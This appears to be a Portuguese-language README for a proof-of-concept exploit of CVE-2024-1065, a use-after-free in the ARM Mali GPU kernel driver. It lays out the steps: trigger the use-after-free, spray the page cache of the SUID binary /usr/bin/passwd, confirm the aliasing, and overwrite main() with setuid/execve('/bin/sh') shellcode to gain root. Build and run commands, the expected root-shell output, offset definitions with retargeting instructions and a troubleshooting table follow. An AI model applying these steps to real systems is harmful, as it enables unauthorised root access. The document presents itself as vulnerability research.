
Exploração de prova de conceito para CVE-2024-1065, demonstrando exploração de cache de página por meio de um use-after-free no driver de kernel GPU ARM Mali para alcançar execução arbitrária de código como root sem modificação de disco.
Exploit de prova de conceito para CVE-2024-1065, um use-after-free de página física no driver do kernel da GPU ARM Mali. O exploit demonstra exploração de cache de página: colocando em corrida uma página MIGRATE_MOVABLE liberada na imagem de código em memória de um binário SUID e, em seguida, sobrescrevendo-a para alcançar execução arbitrária de código como root sem modificar nenhum arquivo em disco.
Apenas para fins de pesquisa. Esta PoC tem como alvo uma vulnerabilidade corrigida em um sistema de teste x86 controlado. O caminho de código vulnerável não pode ser acionado a partir do espaço do usuário em dispositivos Pixel de produção.
Acionar UAF — Uma página anônima é importada para o driver da GPU Mali via KBASE_IOCTL_MEM_IMPORT e mapeada duas vezes no espaço do usuário. Liberar ambos os mapeamentos retorna a página física para a lista livre de pares MIGRATE_MOVABLE enquanto cpu_mapping2 ainda possui um alias para ela.
Spray no cache de página — O exploit abre /usr/bin/passwd 100 vezes e repetidamente desaloja a página em PAGE_OFFSET com posix_fadvise(POSIX_FADV_DONTNEED), em seguida aciona uma falta de cache com pread. Cada falta força o kernel a alocar uma nova página MIGRATE_MOVABLE, percorrendo a lista livre até que a página UAF seja escolhida.
Confirmar sobreposição — Uma leitura de byte de sonda através de cpu_mapping2 em MAIN_OFFSET confirma que a página UAF agora suporta a entrada de cache de página do binário. Valores 0x00 e 0x61 indicam falha; qualquer outra coisa é código binário real.
Injetar shellcode — memcpy através de cpu_mapping2 sobrescreve main() com shellcode que chama setuid(0), setgid(0) e execve("/bin/sh").
Executar — execve("/usr/bin/passwd") é chamado. O carregador ELF mapeia as páginas de cache de página do binário como executáveis. A página corrompida já está presente — nenhuma leitura de disco ocorre — então o shellcode executa como root.
gcc -O2 -o exploit exploit.c
./exploit
Saída esperada:
[*] Abriu /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x... gpu_va=0x... va_pages=0x1
[*] gpu_mapping (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF acionado — mapeamento obsoleto ativo em 0x...
[*] Fazendo spray no cache de página (100 tentativas)...
[+] Sobreposição confirmada na tentativa N (byte=0xf3) — cpu_mapping2 possui alias para o cache de página!
[*] Shellcode escrito. Acionando execve...
# id
uid=0(root) gid=0(root) groups=0(root)
Todos os valores específicos do alvo são definidos no topo de exploit.c:
#define TARGET_BINARY "/usr/bin/passwd"
#define PAGE_OFFSET 0x4000 /* offset do arquivo da página contendo main() */
#define MAIN_OFFSET 0xbc0 /* offset intra-página de main() */
Para redirecionar para um binário diferente, encontre o offset da função desmontando _start no endereço do ponto de entrada (readelf -h), então calcule:
PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va & 0xfff
Verifique antes de executar:
dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd
| Requisito | Valor |
|---|
| Arquitetura | x86-64 |
| Kernel | 5.15 (testado em 5.15.0+) |
| Config do kernel | CONFIG_MALI_NO_MALI=y, CONFIG_MALI_CSF_SUPPORT=y, r48 |
| Dispositivo | /dev/mali0 acessível a partir do espaço do usuário |
| Binário alvo | /usr/bin/passwd (SUID root) |
| Sintoma | Causa | Solução |
|---|
| Spray falha após 100 tentativas | Página UAF consumida antes da janela de corrida | Pré-desaloje a página alvo antes de acionar o UAF; aumente NUM_FDS |
kernel BUG at mm/page_poison.c | Verificação de sonda passou no byte de veneno de página 0xaa | Adicione probe != 0xaa à verificação de confirmação |
SYSCHK falha em MEM_IMPORT | Driver Mali não carregado ou versão errada | Verifique CONFIG_MALI_NO_MALI e o handshake da versão do driver |